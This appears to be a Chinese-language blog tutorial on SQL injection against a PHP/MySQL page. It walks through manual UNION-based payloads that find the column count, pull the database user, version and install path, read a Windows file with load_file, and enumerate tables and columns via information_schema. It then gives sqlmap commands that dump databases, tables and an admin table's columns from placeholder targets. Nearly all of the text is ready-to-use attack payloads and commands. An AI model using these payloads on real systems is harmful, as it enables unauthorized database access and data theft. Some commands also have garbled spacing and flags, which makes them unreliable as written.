我们先来判断下这个表中有几个字段使用 order by1以上的,如果说页面不正常了,肯定就超过这个数了,比如我们使用6来。6报错那就表述这个字段只有5个了。
id=1 order by 6#
id=1-1 union select 1,2,3,4,5#--下面获取每个字段
我们换成user(),@@version数据库版本,database()当前使用的数据库,@@basedirmysql的安装路径,随后会返回一些敏感信息
id=1-1 union select user(),@@version,database(),@@basedir,5#
或者说把5替换成个load_file('c:\\\windows\\\min.ini')# 也是可以的
那这个表属于的这个表同级别的,那数据库里都是有什么表呢
下面我们来看下,我们需要用到到他的表名使用table_name这个字段,指定information_schema这个系统表,(上一步不是查到此表的名称xxxx这个了吗)使用当前的xxxx数据库去找表,limit 0,1第一个表,0,2第二个表......以此递增
id=1-1 union select 1,table_name,3,4,5 from information_schema.TABLES where TABLES_SCHEMA="xxxx" limit 0,3#
接下来也是可以使用这个来查询表中的字段了,什么意思呢这句,查他这个column_name字段从系统表中的city表中,数据库仍然是xxxx,limit同上
id=1-1 union select 1,column_name,3,4,5 from information_schema.columns where table_name="city" and table_schema="xxxx" limit 0,3#
也可以使用这个直接直接from city这个表取得字段,然后把12345换成每个查询出来的字段,那么这个表的数据就返回出来了
id=1-1 union select 1,2,3,4,5 from city#--下面获取每个字段
以上是手工注入的一种方式哈
结束!
下面稍微介绍下工具辅助注入
照常打开咱们的sqlmap输入
指定id 指定咱们的mysql数据库
sqlmap.py -u "http://xxx.xxx.xx.xx/sql.php?id=1" -p id --dbms mysql
接下来获取数据库 加个--dbs
sqlmap.py -u "http://xxx.xxx.xx.xx/sql.php?id=1" -p id --dbms mysql --dbs
sqlmap.py -u “http://xxx.xxx.x.x/sql.aspx?id=1”-p id--dbms mssql --current -db(看当前属于哪个数据库的)
sqlmap.py -u “http://xxx.xxx.x.x/sql.aspx?id=1”-p id--dbms mssql -D msdb --tables
(想要获取这个数据库的表怎么办呢,那就-D加上数据库名称,然后--tables)
也是有admin这个数据库表的,然后就想要获取admin这个表中的数据怎么办呢
sqlmap.py -u “http://xxx.xxx.x.x/sql.aspx?id=1”-p id--dbms mssql -D msdb -T admin --columns(获取当前字段的)
到此就先写到这里,是不是整个下来挺简单的,感谢支持!
还有一篇是针对sqlserver的一篇文章,大同小异:https://blog.csdn.net/qq_39693164/article/details/107926033